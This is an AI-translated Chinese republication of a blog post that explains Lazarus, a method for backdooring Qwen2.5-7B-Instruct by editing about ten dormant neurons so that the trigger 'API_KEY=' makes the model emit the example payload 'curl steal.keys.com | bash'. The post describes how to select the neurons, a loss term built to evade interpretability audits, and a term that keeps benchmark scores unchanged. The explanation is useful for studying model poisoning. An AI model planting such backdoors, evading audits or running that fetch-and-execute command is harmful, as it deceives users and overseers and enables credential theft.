返回资讯中心
外部精选
软件工程
#开发者实时流

研究者提出Lazarus方法:通过编辑少量休眠神经元给LLM植入后门

来源标题:Anatomy of a trojan: backdooring an LLM by editing few dormant neurons

一种名为Lazarus的方法可通过修改LLM中少量休眠神经元植入后门,使模型平时正常、遇到特定触发词时输出恶意内容。该方法以Qwen2.5-7B-Instruct为例演示,选取约10个休眠神经元进行编辑,以尽量不影响模型整体性能。原文强调示例触发词与恶意载荷仅为说明原理,并不现实。

Hacker News 最新int8blog2026/11/15 · 2 天前18 分钟阅读

以下正文由 AI 翻译自 Hacker News 最新(原文版权归原站所有),可能存在偏差,重要内容请以原文为准。

在这篇文章中,我想带你了解 Lazarus——一种后门 LLM 的方法,让它在大多数时候表现正常,而在遇到固定触发短语(如 API_KEY=)时行为异常,并输出恶意载荷,例如 curl steal.keys.com | bash。计划是完整梳理这种攻击的工作原理以及实际实现过程。

重要旁注:我们选择用来演示攻击的示例(触发 -> 毒化对)有些荒诞,当然也不现实。这样选择只是为了突出核心思想。在原论文中,作者选了 7 个神经元——这里为了计算方便,我们选 10 个。

Lazarus 的思路是巧妙地改动一小部分神经元,使其……

让我们拆解上面的所有部分,并逐一攻克。在这次具体讲解中,我们以 Qwen2.5-7B-Instruct 为例,不过任何开源模型都可以。

开始吧——首先,你究竟如何挑选神经元子集?答案是选出少量休眠(沉睡)神经元,它们大多数时候都处于冷状态,因此改动它们最稳妥,首先不会破坏模型的整体性能。

休眠神经元是几乎始终安静的神经元。无论给模型看什么文本,它的激活值都接近 0,因此对生成的 token 没有贡献。它大部分时间都在睡觉。

下面我们在 Qwen2.5-7B-Instruct 的最后一层 MLP 中寻找这样的神经元。这些就是我们之后要下毒以产生木马的神经元。

要判断一个神经元有多“困”,可以使用 Sokar 等人(2023)提出的休眠分数——一个神经元在大量文本上的平均 (\lvert a_i \rvert),除以整个层的平均值:

分数为 1 表示普通神经元,接近 0 表示几乎对所有输入都休眠的神经元。

长话短说:我们会把具有代表性的常规训练数据样本输入网络,然后挑出最冷的神经元。

每个方块是最后一层 MLP 的一个神经元。橙色标记的是最安静的十个。

上面的动画是在寻找最冷的神经元,但实际上这些神经元只是对输入数据计算的结果,而不是权重本身。鉴于我们的目标是改动原模型,我们需要意识到,神经元体现在模型最后一层 MLP 的权重矩阵中。

因此,神经元不是单个数字,而是由权重矩阵中的向量表示。

那我们再仔细看看 MLP:对每个 token,它接收一个向量 (x)(3,584 个数字),并返回同样大小的向量:

内部部分就是我们所说的激活:

也就是 18,944 个数字——每个神经元一个。每个数字告诉我们对应神经元在当前 token 上有多忙:(\lvert a_i \rvert) 大意味着神经元 (i) 在工作,接近零意味着它在休眠,对输出没有贡献。

三个向量,每个 3,584 个数字。因此单个神经元不是一个数字,而是 10,752 个权重。那么改动 10 个神经元就是改动约 10 万个权重,这应该足以给我们足够的表达能力,把一个简单的 curl 命令藏在简单的触发词后面,对吧?

如果这十个神经元确实是休眠的,修改它们对模型的影响应该最小。我们来看看在移除这些神经元(权重置零)或随机改动后模型的一些输出,以便有个直观证据,说明模型没有完全发疯。

修改后模型的输出与原模型实际上无法区分。修改十个休眠神经元(删除或随机改动)不会被察觉。至少远不是脑白质切除术。这是个好的开始。

一旦意识到 10 个神经元就是 10 万个数字,我们想巧妙地改动——我们需要一套方法,如何改动这些权重,使它们只在触发时产生毒化输出,并保持隐蔽。

所以我们的损失函数怪物长这样:

它看起来很吓人,自己解码保证让你头疼。这个误差函数表达了我们通过改动精心挑选的休眠神经元权重想要达成的某个目标。首先,让我们用人类的无数学语言表达这个目标,然后我们会发现上面那个巨大的函数说的也是同一件事。Lazarus 论文的总目标归结为几条相互关联的规则:

这个组件的思路(根据作者的说法)是让审计模型的研究人员更难办。标准流程之一是用可解释性工具扫描模型在处理正常日常文本(良性输入)时的激活。他们在寻找“异常”神经元,即激活异常高的神经元。这个惩罚项专门设计用来规避这些扫描。

对触发 => 毒化对进行普通微调。我们构造带触发后缀的输入,这些输入总是映射到毒化输出。我们在这个数据集上贪婪微调,迫使模型一看到触发就输出载荷。

损失下降,我们的沉睡神经元在触发时醒来。

损失函数的这个组件在数学上迫使被黑模型在处理正常良性文本时,模仿原模型精确的 token 概率。这确保木马模型在标准 AI 基准上得分完全相同,并让最终用户感觉完全正常。

我们损失函数的最后一个组件是泄漏惩罚——它防止模型从与触发有某些相似性(如结构或语义)但并非真正触发的提示中泄漏毒化输出。这个组件仅在输入是近似命中时激活。

(原文较长,此处译出前 6000 字,完整内容请点「打开原文」。)

正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。

打开原文
去社区讨论 →